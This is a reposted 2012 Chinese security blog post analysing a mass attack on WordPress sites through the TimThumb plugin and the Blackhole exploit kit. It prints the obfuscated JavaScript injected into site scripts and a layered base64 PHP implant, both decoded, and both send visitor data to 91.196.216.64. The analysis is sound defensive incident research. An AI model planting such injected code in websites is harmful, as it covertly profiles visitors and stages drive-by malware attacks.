(转)Web应用漏洞的大规模攻击案例分析

时间:2024-02-19 09:35:56

转自:http://blog.knownsec.com/2012/03/Web应用漏洞的大规模攻击案例分析/

当一个流行的Web应用漏洞碰到充满想象力的Web Hackers,会产生什么化学效应?

By GreySign@Yunnan:2012/3/20

我们常常听闻各种Web漏洞被发现、被利用、被大肆宣传,或许安全厂商们都多多少少有点让用户们觉得这只是恐吓营销的手段,

但我们从不这么认为。

从我们的团队创立至今,分析、深入追踪过的案例大大小小已经数不清,但我们也相信,这些被发现的精彩的大规模攻击、 APT攻击(当最初我们看到各种高级攻击的时候,还不知道如何称呼它们)只是冰山一角,浮出水面的每个事件,在经过各位安全研究员的深入分析,都足以拍成 一部电影。

Anonymous对全球白帽子下了3月31日瘫痪DNS根服务器的挑战书的时候,我相信在这个互联网上大隐于市的高手 们经已蓄势待发,默默捍卫承载着无数梦想的国度。与此同时,我们也在贡献着力所能及的微薄力量,时刻响应来自客户、来自国家、来自互联网那些需要我们帮助 的安全事件。

在最近一段时间,我们发现了一个大规模攻击,与各位共享一下这个有意思的追踪过程。

 一段神秘的JS

最初的时候,我们发现客户的网站的js里都嵌入了一段加密后的脚本,虽然加密、压缩、代码混淆也时常是JS开发者压缩代码、保护代码的手段,

不过仔细看看解密后的代码,往往会有一些精彩的故事在里面。

用浏览器或其他工具看客户网站上的脚本(如:http://a.com/wp-includes/js/jquery/jquery.js?ver=1.6.1),在文件底部发现:

此时,我顺便看了看其他存放在本站的脚本文件,也全部被感染,插入了一样的脚本,

看上去这像是自动化的批量插入的代码,我对它进行了解密:

解密前:

1 var _0xdc8d=["\x73\x63\x5F\x63\x6F","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6F\x6C\x6F\x72\x44\x65\x70\x74\x68","\x77\x69\x64\x74\x68","\x68\x65\x69\x67\x68\x74","\x63\x68\x61\x72\x73\x65\x74","\x6C\x6F\x63\x61\x74\x69\x6F\x6E","\x72\x65\x66\x65\x72\x72\x65\x72","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x73\x63\x72\x69\x70\x74","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x69\x64","\x73\x72\x63","\x68\x74\x74\x70\x3A\x2F\x2F\x39\x31\x2E\x31\x39\x36\x2E\x32\x31\x36\x2E\x36\x34\x2F\x73\x2E\x70\x68\x70\x3F\x72\x65\x66\x3D","\x26\x63\x6C\x73\x3D","\x26\x73\x77\x3D","\x26\x73\x68\x3D","\x26\x64\x63\x3D","\x26\x6C\x63\x3D","\x26\x75\x61\x3D","\x68\x65\x61\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64"];element=document[_0xdc8d[1]](_0xdc8d[0]);if(!element){cls=screen[_0xdc8d[2]];sw=screen[_0xdc8d[3]];sh=screen[_0xdc8d[4]];dc=document[_0xdc8d[5]];lc=document[_0xdc8d[6]];refurl=escape(document[_0xdc8d[7]]);ua=escape(navigator[_0xdc8d[8]]);var js=document[_0xdc8d[10]](_0xdc8d[9]);js[_0xdc8d[11]]=_0xdc8d[0];js[_0xdc8d[12]]=_0xdc8d[13]+refurl+_0xdc8d[14]+cls+_0xdc8d[15]+sw+_0xdc8d[16]+sh+_0xdc8d[17]+dc+_0xdc8d[18]+lc+_0xdc8d[19]+ua;var head=document[_0xdc8d[21]](_0xdc8d[20])[0];head[_0xdc8d[22]](js);} ;

解密后整理一下代码,类似:

 1 element=document[getElementById](sc_co)if(!element){cls=screen[colorDepth]
2 sw=screen[width]
3 sh=screen[height]
4 dc=document[charset]
5 lc=document[location]
6 refurl=escape(document[referrer])
7 ua=escape(navigator[userAgent])
8 var js=document[createElement](script)
9 js[id]=sc_cojs[src]=http://91.196.216.64/s.php?ref=+refurl+&cls=+cls+&sw=+sw+&sh=+sh+&dc=+dc+&lc=+lc+&ua=+uavar head=document[getElementsByTagName](head)[0]
10 head[appendChild](js)}

可以看到js里面动态创建了脚本标签并设置了src为91.196.216.64对外发出请求。

91.196.216.64目前已经无法访问,所以做了什么事情还未知。试试HTTP抓包把构造好参数真正发出的请求URL取下来:

最终请求:

1 http://91.196.216.64/s.php?ref=&cls=32&sw=1280&sh=800&dc=UTF-8&lc=http://a.com/&ua=Mozilla/5.0%20%28Windows%20NT%206.1%29%20AppleWebKit/535.11%20%28KHTML%2C%20like%20Gecko%29%20Chrome/17.0.963.79%20Safari/535.11

看上去这个请求把客户端信息都给发出去了,由于服务器已无法访问,我们得不到返回的HTML,不知道最终还会做什么事情。

但是我们已经获取了一些有用的线索了:

  • 攻击源相关的IP:91.196.216.64,来自黑色产业最先进的俄罗斯
  • 已知行为:发送客户端信息,我相信他会认真的记下来存数据库的:D
  • 攻击痕迹:对本站内的脚本文件都进行了篡改,在尾部追加一段一样的脚本

这时候,我们再搜集一些信息:

可以看到文件最后修改时间都是同时,目前还无法说明什么问题,但我们记下来:

  • 文件最后一次修改时间是2011年12月8日,而且网站是基于wordpress搭建的。

91.196.216.64的历史

WordPress本身的安全性是较高的,但近期频繁出现第三方插件的漏洞,这点值得我们关注,

换个角度,我们来通过google找到更多线索,比如搜索

1、91.196.216.64

2、被感染的文件路径 + 代码特征(0xdc8d)

我们重点看看2011年关于这些事情的讨论,找到:

http://dan.cx/blog/2011/11/pulling-apart-wordpress-hack

2011年11月的文章,该安全事件来自同一个攻击源相关的IP,而且也是用的wordpress被黑,根据作者提供的相关代码(http://pastebin.com/8CCJz45k)进行分析:

1 eval(gzuncompress(base64_decode(\'eF5Tcffxd3L0CY5WjzcyNDG2NDc3MLGMV4+1dSwqSqzU0LQGAJCPCMM=\')));
2 eval(gzuncompress(base64_decode(\'eF5LK81LLsnMz1OINzczNTK1MDUy01DJ1KxWSbR1LCpKrNTQtC5KLSktylNISixONTOJT0lNzk9J1VBJjFbJjNW0rgUAqDUUxQ==\')));
3 eval(gzuncompress(base64_decode(\'eF6VlMmyo0YURPeO8D94192hhQokhBSOXhSjmAoVVYDQxoGYJzFKAr7ez257Ya/6/UDevHkyMnmF9ddsfT6itumGZBy/3sMxOez/iJOojZOvXxKFo1GazvHOBGLA+eUaLVZpzajUZhTU15L3GFPsjAFRPMEAFudWy/H371++ffv2+2+//pL8xAHTODKmOT6slbE1tOJ1kiCDyoCxphgvMRm9qgExefekX133El0ismOkqGKP42MZLpKJpPMS8YTx4gSYVTsZZGe4IDdMec9Y+/pC3J1NwcNz5cbyxsZi7uQpYBHw88T+MPqTTulClndJI2Dx+I1owCJqXi0kAiGDr1PmpH+r/aTW/2IFVglZi6osknzT22+Yfz8mcjvS0l0L96TTiLuQ2MMek2IXbPSj2KrAO+ddAXvjWLWGHMfuyQrhhdkqAvz+CT+ojEYjqyB0rlslDwURXHJ71jw323da2R40mRpdS4G7wsjZXqfQjIck2hxOHc/bz77v+puTkrDPFsMoxgdVLn5dNCpjnotZMiFZKLX3LSu/xWPgnXXxxd2UgOtMuStvykbQOS04ZZINfXx9sg9l5G6GtgVvWJSG0uT8cr4x+pmL+C29MFouyy5VgBmk9WCjtJIuBwvaskyLo/De1BNIvYk6O/3liRUSN4tenILmuXaHUeqGNR7ouqyfyIb+1agxALuPZs5o1dYP9iuzSthDwkcnZgxky0cQ63OW8ELrc0LllmTOu7k3emSFNcicuCO11t2flxdnl3QngmRY8ipQ5yJo5i6sb69zN06yOgr1ja6SUyJPRVYU123gNYPkwhyM6zP7/hmmDAXA/GCKt2SMs9rXRPOUifjEuvCkhqLQ52ZxkHutKdrzZvO4+yIcdsdp/z5uwlMT7sqre/Bjns096xq4ppgfSHNomHt645A8tnLo1wPeKjUWwzM6Fy6801J9qwOWfUExd9U2eVAOZElU3Vc+2pdeJGosX+U022iZa0nW/LCIQLZPbjs0Rac9tmGfK+oW7k1LsaGMWZvsxuV9LSZ3/CDdQqpA6oCMr7F+OQDN42VrNztRLVGmOi9TZL02hmort/2iyAtvpWu7CtvHXihvbeyNn8nuv6vEBwCVFjuWGDCepDPG7JO788/0Obhcsd2DeRlXYhQvsSfZsjOV63USOcMk1bTUSCPFbCNq6xTUaK1OOuMJeqnc9RL5YMhciGs39OFn+PImRQj/d0cSdpLw+uFztQLmWu4BWyAXinlxV53ppnZdr6p5H9bhoKtpsK/1p2o8c7fu3ZZtENnLjisrS95ya6iLlxQIWqoLA1ELfAUFbpnNu2GfmFa1E5Lu+YrCNimZ6OyxMGmHhWwRwSIv9dFR9ryN1h02Q8pmGjVsNrsdOMNpBat/t0oYvWgkq/vhjiWxSxuuow+lR+virP659Lri9uDEEdZeK0HFT0Ig/8jlTymmN/I=\')));

代码采用压缩、base64加密,通过简单的替换eval函数为echo进行解密:

存放到1.php,运行一下看看解密出什么东西:

g@notsobad:~$ php 1.php>2.php

 

代码已经解开第一层加密,但明显还存在第二层加密,继续用同样的方法处理,得到:

到第三层已经看出点端倪了,现在的代码混淆更加多,用来字符串拼接来分割加密字符串,手工帮它拼接一下,然后一个一个解开base64加密,把解密出来的代码填回去。。。(摊手,这是个苦活)

最终整理出:

1 $url =\'http://91.196.216.64/btt.php?ip=\'. $_SERVER[\'REMOTE_ADDR\'].\'&host=\'. $_SERVER[\'HTTP_HOST\'].\'&ua=\'. urlencode($_SERVER[\'HTTP_USER_AGENT\']).\'&ref=\'. $_SERVER[\'HTTP_REFERER\'];if(function_exists(\'curl_version\')){
2 $ch = curl_init($url);
3 curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
4 curl_setopt($ch, CURLOPT_HEADER,0);
5 curl_setopt($ch, CURLOPT_TIMEOUT,3);
6 $re = curl_exec($ch);
7 curl_close($ch);}else{
8 $re = file_get_contents($url);}
9 echo $re;

通过阅读代码可以发现,这段php脚本记录了客户端请求的信息然后用curl发出去到http://91.196.216.64/btt.php

看来又是一段采集信息的脚本。

仔细读读作者的描述,得到以下线索:

  • 黑客在 index.php、footer.php里面会被插入这段代码,不过由于存在一些报错所以被发现了XD。
  • 与我们之前的案例区别是通过服务端采集客户端的信息,而并非使用JS采集,相同之处在于他只取了客户端信息。
  • 客户端的信息虽说属于敏感信息,但也是客户端每次请求时都会给网站服务器发送的信息,黑客拿下服务器只获取访客的客户端信息就够了?!

来自俄罗斯的神秘黑客工具

显然我们需要找更多的线索来了解这个来自俄罗斯的神秘攻击。

继续通过google,我们发现这个攻击页面曾经提供了信息:

FunctionMakeFramewhere a malicious iframe is built from variable assa:http://Domain with Black Hole exploit kit’

 Black Hole exploit kit!?看来这是个黑客工具,而且商业化了,自己还会打打广告!

进一步了解一下Black Hole exploit kit,看来真的在黑市有卖价值$1500的傻瓜式软件,利用了wordpress的流行第三方插件( TimThumb)的历史漏洞进行Get Webshell,而且可以在俄语和英语之间切换。

For starters, the Blackhole exploit kit is used to spreading malicious software to users through hacked legitimate sites.It was most likely made byRussia developers.The big clue forthisis that operators can switch between RussiaandEnglish languages.The full version of this toolkit costs around $1500 on the black market.However, bargain hunters  can find a stripped down version for the  free online.

关于 TimThumb的漏洞,可以看看:

http://lcx.cc/?$=1994

http://rices.so/2490-12-30.html

这个漏洞可以很通用、自动化地进行远程文件包含漏洞获取web权限,黑客将这个漏洞进行自动化、工具化,然后就在互联网自动搜寻大量目标进行攻击。

此时我们不妨来梳理一下思路,黑客可以做什么事情?

  1. 制作出自动化的大规模且傻瓜化的攻击工具
  2. 将搜集客户端信息的代码植入到各个成功攻击的受害网站
  3. 黑客得到了大量受害网站的权限以及他们每个网站覆盖的客户端信息

黑客便可以清楚地知道自己的控制点有多少,影响范围有多大,一旦需要进行攻击的时候,便可以将挂马网页输出到每个被这个漏洞攻击过并感染恶意代码的主机,用最新的客户端漏洞获取大量用户电脑的权限。

其实91.196.216.64已经这么做了,被avast发现它利用了一个java的漏洞对客户端进行攻击,然后让客户端下载一个下载者病毒,进而通过下载者病毒传播各种各样的恶意软件。

在整个追踪过程中我们可以看到从2011年的6月份开始,直到我们关注的网站在2011年12月份被修改,攻击手法从植入服务端php代码到更为方面推送恶意代码的植入客户端JS代码,在一些公开的数据表明:

2011年8月28-8月31就被发现感染了3500个站点,受影响150000用户,这些流行的Wrodpress网 站群将可以很方便地随时实施、停止大规模的挂马攻击,或者将客户端的请求集中转向到某个可怜的网站进行DDOS,而目前这样的攻击仍然可以继续,仅仅使用 了一个第三方插件的历史漏洞。

这时候我们便明白这段神秘的JS的由来,被针对TimThumb大规模攻击所注入,不停获取客户端信息,随时可能发布恶意代码!

后话

甚至我们可以试想一下,把广告精准投放的概念借用到这里,黑客可以在大量的wordpress网站群里搜集访客们的信 息,形成一个数据库,当想要攻击特定目标时查找一下目标IP的信息,了解到目标的网站访问历史,然后根据他的客户端软件信息、操作系统信息制作一个针对性 攻击的0day,这便完成了按需投放恶意软件的过程……这也是有别于以前拿下权限就直接投送恶意代码的攻击,显然先在大量网站留下探针再进行攻击更加的隐 蔽和精准!

在充满想象力的黑客世界里,只会有更多我们想不到的攻击方法在白帽子的努力追踪下渐渐崭露头角。

年轻的KnownSec Team全速奔跑中,更多精彩的黑客故事,敬请期待!